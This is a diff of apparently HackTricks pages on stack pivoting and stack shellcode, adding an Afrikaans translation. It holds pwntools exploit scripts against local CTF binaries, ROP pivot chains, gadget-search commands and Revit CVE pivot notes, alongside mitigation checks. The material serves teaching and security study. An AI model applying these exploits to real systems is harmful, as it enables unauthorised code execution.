-This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence.
-
-As a reminder, **`leave`** basically means:
-
-```
-mov ebp, esp
-pop ebp
-ret
-```
-
-And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
-
-### EBP2Ret
-
-This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing.
-
-If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\
-Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP.
-
-#### Exploit Construction
-
-First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**.
-
-Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use:
-
-- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address.
-- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits).
-- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute.
-- Some [**ROP**](../rop-return-oriented-programing/) chain
-
-Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution.
-
-#### Off-By-One Exploit
-
-There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\
-Usually it's modified the byte 0x00t o jump as far as possible.
-
-Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed.
-
-### **EBP Chaining**
-
-Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**.
-
-Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this:
-
-- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction
-- **`system()`** -> Called by `ret`
-- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin
-- **`&("/bin/sh")`**-> Param fro `system`
-
-Basically this way it's possible to chain several fake EBPs to control the flow of the program.
-
-This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases.
-
-Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
-
-```python
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = process()
-
-p.recvuntil('to: ')
-buffer = int(p.recvline(), 16)
-log.success(f'Buffer: {hex(buffer)}')
-
-LEAVE_RET = 0x40117c
-POP_RDI = 0x40122b
-POP_RSI_R15 = 0x401229
-
-payload = flat(
- 0x0, # rbp (could be the address of anoter fake RBP)
- POP_RDI,
- 0xdeadbeef,
- POP_RSI_R15,
- 0xdeadc0de,
- 0x0,
- elf.sym['winner']
-)
-
-payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
-
-payload += flat(
- buffer, # Load leak address in RBP
- LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
-)
-
-pause()
-p.sendline(payload)
-print(p.recvline())
-```
-
-## EBP might not be used
-
-As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
-This is because the **prologue and epilogue changes** if the binary is optimized.
-
-- **Not optimized:**
-
-```bash
-push %ebp # save ebp
-mov %esp,%ebp # set new ebp
-sub $0x100,%esp # increase stack size
-.
-.
-.
-leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
-ret # return
-```
-
-- **Optimized:**
-
-```bash
-push %ebx # save ebx
-sub $0x100,%esp # increase stack size
-.
-.
-.
-add $0x10c,%esp # reduce stack size
-pop %ebx # restore ebx
-ret # return
-```
-
-## Other ways to control RSP
-
-### **`pop rsp`** gadget
-
-[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**:
-
-```python
-# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
-# This version has added comments
-
-from pwn import *
-
-elf = context.binary = ELF('./vuln')
-p = process()
-
-p.recvuntil('to: ')
-buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
-log.success(f'Buffer: {hex(buffer)}')
-
-POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
-POP_RDI = 0x40122b
-POP_RSI_R15 = 0x401229 # pop RSI and R15
-
-# The payload starts
-payload = flat(
- 0, # r13
- 0, # r14
- 0, # r15
- POP_RDI,
- 0xdeadbeef,
- POP_RSI_R15,
- 0xdeadc0de,
- 0x0, # r15
- elf.sym['winner']
-)
-
-payload = payload.ljust(104, b'A') # pad to 104
-
-# Start popping RSP, this moves the stack to the leaked address and
-# continues the ROP chain in the prepared payload
-payload += flat(
- POP_CHAIN,
- buffer # rsp
-)
-
-pause()
-p.sendline(payload)
-print(p.recvline())
-```
-
-### xchg \, rsp gadget
-
-```
-pop <=== return pointer
-
-xchg , rsp
-```
-
-### jmp esp
-
-Check the ret2esp technique here:
-
-{{#ref}}
-../rop-return-oriented-programing/ret2esp-ret2reg.md
-{{#endref}}
-
-## References & Other Examples
-
-- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
-- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
-- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- - 64 bits, off by one exploitation with a rop chain starting with a ret sled
-- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
-
-## ARM64
-
-In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**.
-
-Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register.
-
-- prologue
-
- ```armasm
- sub sp, sp, 16
- stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
- mov x29, sp // FP points to frame record
- ```
-
-- epilogue
-
- ```armasm
- ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
- add sp, sp, 16
- ret
- ```
-
-> [!CAUTION]
-> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it.
-
-Also in the following page you can see the equivalent of **Ret2esp in ARM64**:
-
-{{#ref}}
-../rop-return-oriented-programing/ret2esp-ret2reg.md
-{{#endref}}
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting.md b/src/binary-exploitation/stack-overflow/stack-pivoting.md
new file mode 100644
index 00000000000..b16c55b8415
--- /dev/null
+++ b/src/binary-exploitation/stack-overflow/stack-pivoting.md
@@ -0,0 +1,324 @@
+# Stack Pivoting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basiese Inligting
+
+Hierdie tegniek benut die vermoë om die **Base Pointer (EBP/RBP)** te manipuleer om die uitvoering van veelvuldige funksies te ketting deur die frame pointer en die **`leave; ret`**-instruksievolgorde noukeurig te gebruik.
+
+Ter herinnering: op x86/x86-64 is **`leave`** ekwivalent aan:
+```
+mov rsp, rbp ; mov esp, ebp on x86
+pop rbp ; pop ebp on x86
+```
+En aangesien die gestoorde **EBP/RBP** in die stack vóór die gestoorde EIP/RIP is, is dit moontlik om dit te beheer deur die stack te beheer.
+
+> Notes
+> - On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
+> - Some compilers omit the frame pointer (see “EBP might not be used”). In that case, `leave` might not appear and this technique won’t work.
+
+### EBP2Ret
+
+Hierdie tegniek is besonder nuttig wanneer jy die **gestoorde EBP/RBP kan wysig, maar geen direkte manier het om EIP/RIP te verander nie**. Dit benut die gedrag van die funksie se epilogue.
+
+As jy tydens `fvuln` se uitvoering daarin slaag om ’n **fake EBP** in die stack te injecteer wat na ’n area in memory wys waar jou shellcode/ROP chain-adres geleë is (plus 8 bytes op amd64 / 4 bytes op x86 om die `pop` in ag te neem), kan jy RIP indirek beheer. Wanneer die funksie terugkeer, stel `leave` RSP na die vervaardigde ligging, en die daaropvolgende `pop rbp` verminder RSP, **wat dit effektief na ’n adres laat wys wat deur die aanvaller daar gestoor is**. Daarna sal `ret` daardie adres gebruik.[[1]](#references)[[2]](#references)
+
+Let daarop dat jy **2 adresse moet ken**: die adres waarheen ESP/RSP gaan beweeg, en die waarde wat by daardie adres gestoor is en wat `ret` sal verbruik.
+
+#### Exploit Construction
+
+Eerstens moet jy ’n **adres ken waar jy arbitrêre data/adresse kan skryf**. RSP sal hierheen wys en **die eerste `ret` verbruik**.
+
+Daarna moet jy die adres kies wat deur `ret` gebruik word om **uitvoering oor te dra**. Jy kan die volgende gebruik:
+
+- ’n Geldige [**ONE_GADGET**](https://github.com/david942j/one_gadget)-adres.
+- Die adres van **`system()`**, gevolg deur die toepaslike return en argumente (op x86: `ret` target = `&system`, dan 4 junk-bytes, daarna `&"/bin/sh"`).
+- Die adres van ’n **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)), gevolg deur inline shellcode.
+- ’n [**ROP**](../rop-return-oriented-programing/index.html)-chain wat in writable memory gestage is.
+
+Onthou dat daar vóór enige van hierdie adresse in die controlled area **ruimte vir die `pop ebp/rbp`** vanaf `leave` moet wees (8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om ’n **tweede fake EBP** te stel en beheer te behou nadat die eerste call terugkeer.
+
+#### Off-By-One Exploit
+
+Daar is ’n variant wat gebruik word wanneer jy **slegs die least significant byte van die gestoorde EBP/RBP kan wysig**. In so ’n geval moet die memory-ligging wat die adres stoor waarheen met **`ret`** gespring word, die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel, sodat ’n 1-byte overwrite dit kan redirect. Gewoonlik word die lae byte (offset 0x00) verhoog om so ver moontlik binne ’n nabygeleë page/aligned region te spring.
+
+Dit is ook algemeen om ’n RET sled in die stack te gebruik en die werklike ROP chain aan die einde te plaas om dit waarskynliker te maak dat die nuwe RSP binne die sled wys en die finale ROP chain uitgevoer word.[[3]](#references)
+
+### EBP Chaining
+
+Deur ’n controlled address in die gestoorde `EBP`-slot van die stack te plaas en ’n `leave; ret` gadget in `EIP/RIP` te plaas, is dit moontlik om **`ESP/RSP` na ’n attacker-controlled address te verskuif**.
+
+Nou word `RSP` beheer en die volgende instruction is `ret`. Plaas iets soos die volgende in die controlled memory:
+
+- `&(next fake EBP)` -> Gelaai deur `pop ebp/rbp` vanaf `leave`.
+- `&system()` -> Geroep deur `ret`.
+- `&(leave;ret)` -> Nadat `system` eindig, verskuif dit RSP na die volgende fake EBP en gaan voort.
+- `&("/bin/sh")` -> Argument vir `system`.
+
+Op hierdie manier is dit moontlik om verskeie fake EBPs te chain om die program se flow te beheer.
+
+Dit is soos ’n [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), maar meer kompleks en slegs nuttig in edge-cases.
+
+Daarbenewens is hier ’n [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek met ’n **stack leak** gebruik om ’n winning function te roep.[[8]](#references) Dit is die finale payload vanaf die bladsy:
+```python
+from pwn import *
+
+elf = context.binary = ELF('./vuln')
+p = process()
+
+p.recvuntil('to: ')
+buffer = int(p.recvline(), 16)
+log.success(f'Buffer: {hex(buffer)}')
+
+LEAVE_RET = 0x40117c
+POP_RDI = 0x40122b
+POP_RSI_R15 = 0x401229
+
+payload = flat(
+0x0, # rbp (could be the address of another fake RBP)
+POP_RDI,
+0xdeadbeef,
+POP_RSI_R15,
+0xdeadc0de,
+0x0,
+elf.sym['winner']
+)
+
+payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
+
+payload += flat(
+buffer, # Load leaked address in RBP
+LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
+)
+
+pause()
+p.sendline(payload)
+print(p.recvline())
+```
+> amd64-belyningswenk: System V ABI vereis 16-byte stack-belyning by oproeppunte. Indien jou chain funksies soos `system` oproep, voeg ’n belyningsgadget (bv. `ret`, of `sub rsp, 8 ; ret`) voor die oproep by om belyning te handhaaf en `movaps`-crashes te vermy.
+
+## EBP word dalk nie gebruik nie
+
+Soos [**in hierdie plasing verduidelik word**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), indien ’n binary met sekere optimizations of met frame-pointer omission gekompileer word, beheer die **EBP/RBP nooit ESP/RSP nie**. Daarom sal enige exploit wat werk deur EBP/RBP te beheer, misluk omdat die prologue/epilogue nie vanaf die frame pointer herstel nie.[[9]](#references)
+
+- Nie geoptimaliseer nie / frame pointer gebruik:
+```bash
+push %ebp # save ebp
+mov %esp,%ebp # set new ebp
+sub $0x100,%esp # increase stack size
+.
+.
+.
+leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
+ret # return
+```
+- Geoptimaliseer / frame pointer weggelaat:
+```bash
+push %ebx # save callee-saved register
+sub $0x100,%esp # increase stack size
+.
+.
+.
+add $0x10c,%esp # reduce stack size
+pop %ebx # restore
+ret # return
+```
+Op amd64 sal jy dikwels `pop rbp ; ret` in plaas van `leave ; ret` sien, maar as die frame pointer heeltemal weggelaat word, is daar geen `rbp`-gebaseerde epilogue om deur te pivot nie.
+
+## Ander maniere om RSP te beheer
+
+### `pop rsp` gadget
+
+[**Op hierdie bladsy**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) kan jy ’n voorbeeld vind wat hierdie tegniek gebruik.[[10]](#references) Vir daardie challenge was dit nodig om ’n funksie met 2 spesifieke argumente aan te roep, en daar was ’n **`pop rsp` gadget** en daar is ’n **leak vanaf die stack**:
+```python
+# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
+# This version has added comments
+
+from pwn import *
+
+elf = context.binary = ELF('./vuln')
+p = process()
+
+p.recvuntil('to: ')
+buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
+log.success(f'Buffer: {hex(buffer)}')
+
+POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
+POP_RDI = 0x40122b
+POP_RSI_R15 = 0x401229 # pop RSI and R15
+
+# The payload starts
+payload = flat(
+0, # r13
+0, # r14
+0, # r15
+POP_RDI,
+0xdeadbeef,
+POP_RSI_R15,
+0xdeadc0de,
+0x0, # r15
+elf.sym['winner']
+)
+
+payload = payload.ljust(104, b'A') # pad to 104
+
+# Start popping RSP, this moves the stack to the leaked address and
+# continues the ROP chain in the prepared payload
+payload += flat(
+POP_CHAIN,
+buffer # rsp
+)
+
+pause()
+p.sendline(payload)
+print(p.recvline())
+```
+### xchg , rsp gadget
+```
+pop <=== return pointer
+
+xchg , rsp
+```
+### jmp esp
+
+Kyk na die ret2esp-tegniek hier:
+
+
+{{#ref}}
+../rop-return-oriented-programing/ret2esp-ret2reg.md
+{{#endref}}
+
+### Vind pivot-gadgets vinnig
+
+Gebruik jou gunsteling gadget finder om na klassieke pivot-primitives te soek:
+
+- `leave ; ret` op functions of in libraries
+- `pop rsp` / `xchg rax, rsp ; ret`
+- `add rsp, ; ret` (of `add esp, ; ret` op x86)
+
+Voorbeelde:
+```bash
+# Ropper
+ropper --file ./vuln --search "leave; ret"
+ropper --file ./vuln --search "pop rsp"
+ropper --file ./vuln --search "xchg rax, rsp ; ret"
+
+# ROPgadget
+ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
+```
+### Klassieke pivot-stagingpatroon
+
+'n Robuuste pivot-strategie wat in baie CTFs/exploits gebruik word:
+
+1) Gebruik 'n klein aanvanklike overflow om `read`/`recv` na 'n groot skryfbare streek te roep (bv. `.bss`, heap of gemapte RW-geheue) en plaas 'n volledige ROP chain daar.
+2) Keer terug na 'n pivot gadget (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) om RSP na daardie streek te verskuif.
+3) Gaan voort met die staged chain (bv. leak libc, roep `mprotect` aan, lees daarna shellcode, en spring dan daarheen).
+
+### Windows: Destructor-loop weird-machine pivots (Revit RFA-gevallestudie)
+
+Client-side parsers implementeer soms destructor loops wat indirek 'n function pointer aanroep wat van attacker-controlled object fields afgelei word. As elke iterasie presies een indirecte call ('n “one-gadget”-masjien) bied, kan jy dit in 'n betroubare stack pivot en ROP entry omskep.[[7]](#references)
+
+Waargeneem in Autodesk Revit RFA-deserialization (CVE-2025-5037):
+
+- Crafted objects van die tipe `AString` plaas 'n pointer na attacker bytes by offset 0.
+- Die destructor loop voer effektief een gadget per object uit:
+```asm
+rcx = [rbx] ; object pointer (AString*)
+rax = [rcx] ; pointer to controlled buffer
+call qword ptr [rax] ; execute [rax] once per object
+```
+Twee praktiese pivots:
+
+- Windows 10 (32-bit heap addrs): misaligned “monster gadget” wat `8B E0` bevat → `mov esp, eax`, uiteindelik `ret`, om vanaf die call primitive na ’n heap-based ROP chain te pivot.
+- Windows 11 (full 64-bit addrs): gebruik twee objekte om ’n constrained weird-machine pivot te dryf:
+- Gadget 1: `push rax ; pop rbp ; ret` (skuif oorspronklike rax na rbp)
+- Gadget 2: `leave ; ... ; ret` (word `mov rsp, rbp ; pop rbp ; ret`), en pivot na die eerste objek se buffer, waar ’n conventional ROP chain volg.
+
+Wenke vir Windows x64 ná die pivot:
+
+- Respekteer die 0x20-byte shadow space en handhaaf 16-byte alignment voor `call`-sites. Dit is dikwels gerieflik om literals bo die return address te plaas en ’n gadget soos `lea rcx, [rsp+0x20] ; call rax` gevolg deur `pop rax ; ret` te gebruik om stack addresses deur te gee sonder om control flow te beskadig.
+- Non-ASLR helper modules (indien teenwoordig) verskaf stabiele gadget pools en imports soos `LoadLibraryW`/`GetProcAddress` om targets soos `ucrtbase!system` dinamies op te los.
+- Missing gadgets kan via ’n writable thunk geskep word: indien ’n belowende sequence eindig in ’n `call` deur ’n writable function pointer (bv. DLL import thunk of function pointer in .data), overwrite daardie pointer met ’n benign single-step soos `pop rax ; ret`. Die sequence tree dan op asof dit met `ret` geëindig het (bv. `mov rdx, rsi ; mov rcx, rdi ; ret`), wat van onskatbare waarde is om Windows x64 arg registers te laai sonder om ander registers te clobber.
+
+Vir volledige chain construction en gadget-voorbeelde, sien die verwysing hieronder.
+
+’n Nuttige gevorderde case study is Insomni'hack 2018 `onewrite`: ’n repeated arbitrary write word gebou deur `.fini_array` te korrupteer, ’n ROP chain word in `.bss` gestage, en control word uiteindelik deur `RBP` gepivot.[[4]](#references)
+
+## Moderne mitigations wat stack pivoting breek (CET/Shadow Stack)
+
+Moderne x86-CPUs en OS’e ontplooi toenemend **CET Shadow Stack (SHSTK)**. Wanneer SHSTK geaktiveer is, vergelyk `ret` die return address op die normale stack met ’n hardware-beskermde shadow stack; enige mismatch veroorsaak ’n Control-Protection fault en beëindig die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots crash sodra die eerste `ret` vanaf ’n gepivote stack uitgevoer word.
+
+- Vir agtergrond en meer besonderhede, sien:
+
+
+{{#ref}}
+../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
+{{#endref}}
+
+- Vinnige checks op Linux:
+```bash
+# 1) Is the binary/toolchain CET-marked?
+readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
+
+# 2) Is the CPU/kernel capable?
+grep -E 'user_shstk|ibt' /proc/cpuinfo
+
+# 3) Is SHSTK active for this process?
+grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
+
+# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
+(gdb) checksec
+```
+- Notas vir labs/CTF:
+- Sommige moderne distros aktiveer SHSTK vir CET-enabled binaries wanneer hardeware- en glibc-ondersteuning beskikbaar is. Vir beheerde toetsing in VMs kan SHSTK stelselwyd gedeaktiveer word via die kernel-bootparameter `nousershstk`, of selektief geaktiveer word via glibc-tunables tydens opstart (sien verwysings). Moenie mitigations op production targets deaktiveer nie.[[5]](#references)
+- JOP/COOP- of SROP-gebaseerde tegnieke kan steeds op sommige targets werk, maar SHSTK breek spesifiek `ret`-gebaseerde pivots.
+
+- Windows-nota: Windows 10+ stel user-mode bloot, en Windows 11 voeg kernel-mode “Hardware-enforced Stack Protection” by wat op shadow stacks gebaseer is. CET-compatible prosesse voorkom stack pivoting/ROP by `ret`; ontwikkelaars kies dit in via CETCOMPAT en verwante policies (sien verwysing).[[6]](#references)
+
+## ARM64
+
+In ARM64 stoor en haal die **prologue en epilogues** van die funksies nie die SP-register in die stack nie. Verder keer die **`RET`**-instruksie nie terug na die adres waarna SP wys nie, maar **na die adres binne `x30`**.
+
+Daarom sal jy by verstek, deur bloot die epilogue te misbruik, **nie die SP-register kan beheer** deur data binne die stack te oorskryf nie. En selfs al kry jy dit reg om SP te beheer, sal jy steeds ’n manier nodig hê om die **`x30`**-register te **beheer**.
+
+- prologue
+
+```armasm
+sub sp, sp, 16
+stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
+mov x29, sp // FP points to frame record
+```
+
+- epilogue
+
+```armasm
+ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
+add sp, sp, 16
+ret
+```
+
+> [!CAUTION]
+> Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer, sou wees om **die `SP` te kan beheer** (deur een of ander register te beheer waarvan die waarde aan `SP` deurgegee word, of omdat `SP` om een of ander rede sy adres van die stack af neem en ons ’n overflow het) en dan die **epilogue te misbruik** om die **`x30`**-register vanaf ’n **beheerde `SP`** te laai en daarnaartoe te **`RET`**.
+
+Op die volgende bladsy kan jy ook die ekwivalent van **Ret2esp in ARM64** sien:
+
+
+{{#ref}}
+../rop-return-oriented-programing/ret2esp-ret2reg.md
+{{#endref}}
+
+## References
+
+- [1] [Binary ROP stack pivoting](https://bananamafia.dev/post/binary-rop-stackpivot/)
+- [2] [Stack Pivoting (ir0nstone-notas)](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
+- [3] [Nightmare: dcquals19 speedrun4 (stack pivot off-by-one)](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
+- 64 bits, off by one exploitation with a rop chain starting with a ret sled
+- [4] [Nightmare: insomnihack18 onewrite](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
+- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
+- [5] [Linux-kerneldokumentasie: Control-flow Enforcement Technology (CET) Shadow Stack](https://www.kernel.org/doc/html/next/x86/shstk.html)
+- [6] [Kernel Mode Hardware-enforced Stack Protection (Microsoft Learn)](https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection)
+- [7] [Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)](https://www.thezdi.com/blog/2025/10/6/crafting-a-full-exploit-rce-from-a-crash-in-autodesk-revit-rfa-file-parsing)
+- [8] [Stack Pivoting: leave; ret exploitation (ir0nstone)](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)
+- [9] [Off-by-one and frame-pointer omission notes (stack-buffer-overflow-internship)](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)
+- [10] [Stack Pivoting: pop rsp exploitation (ir0nstone)](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
index 187c832b78e..865588a38c4 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**.
+**Stack shellcode** is 'n tegniek wat in **binary exploitation** gebruik word, waar 'n aanvaller shellcode na 'n kwesbare program se stack skryf en dan die **Instruction Pointer (IP)** of **Extended Instruction Pointer (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en **pwntools** kan skryf.[[1]](#references)
-### C Example: A Vulnerable Program
-
-Let's start with a simple example of a vulnerable C program:
+### C-voorbeeld: 'n Kwesbare Program
+Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C-program:
```c
#include
#include
void vulnerable_function() {
- char buffer[64];
- gets(buffer); // Unsafe function that does not check for buffer overflow
+char buffer[64];
+gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
- vulnerable_function();
- printf("Returned safely\n");
- return 0;
+vulnerable_function();
+printf("Returned safely\n");
+return 0;
}
```
+Hierdie program is kwesbaar vir ’n buffer overflow weens die gebruik van die `gets()`-funksie.
-This program is vulnerable to a buffer overflow due to the use of the `gets()` function.
-
-### Compilation
-
-To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
+### Kompilering
+Om hierdie program te compileer terwyl verskeie beskermings gedeaktiveer word (om ’n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
+- `-fno-stack-protector`: Skakel stack protection uit.
+- `-z execstack`: Maak die stack executable, wat nodig is om shellcode wat op die stack gestoor is, uit te voer.
+- `-no-pie`: Skakel Position Independent Executable uit, wat dit makliker maak om die memory address te voorspel waar ons shellcode geleë sal wees.
+- `-m32`: Compileer die program as ’n 32-bis executable, wat dikwels vir eenvoud in exploit development gebruik word.
-- `-fno-stack-protector`: Disables stack protection.
-- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
-- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
-- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
-
-### Python Exploit using Pwntools
-
-Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
+### Python Exploit met Pwntools
+Hier is hoe jy ’n exploit in Python met **pwntools** kan skryf om ’n **ret2shellcode** attack uit te voer:
```python
from pwn import *
@@ -71,27 +66,94 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
+Hierdie script konstrueer ’n payload wat uit ’n **NOP slide**, die **shellcode**, en dan die oorskryf van die **EIP** bestaan met die adres wat na die NOP slide wys, sodat die shellcode uitgevoer word.
-This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
+Die **NOP slide** (`asm('nop')`) word gebruik om die kans te verhoog dat uitvoering in ons shellcode sal "gly", ongeag die presiese adres. Pas die `p32()`-argument aan na die beginadres van jou buffer plus ’n offset om in die NOP slide te land.
-The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
+## Windows x64: Bypass NX met VirtualAlloc ROP (ret2stack shellcode)
-## Protections
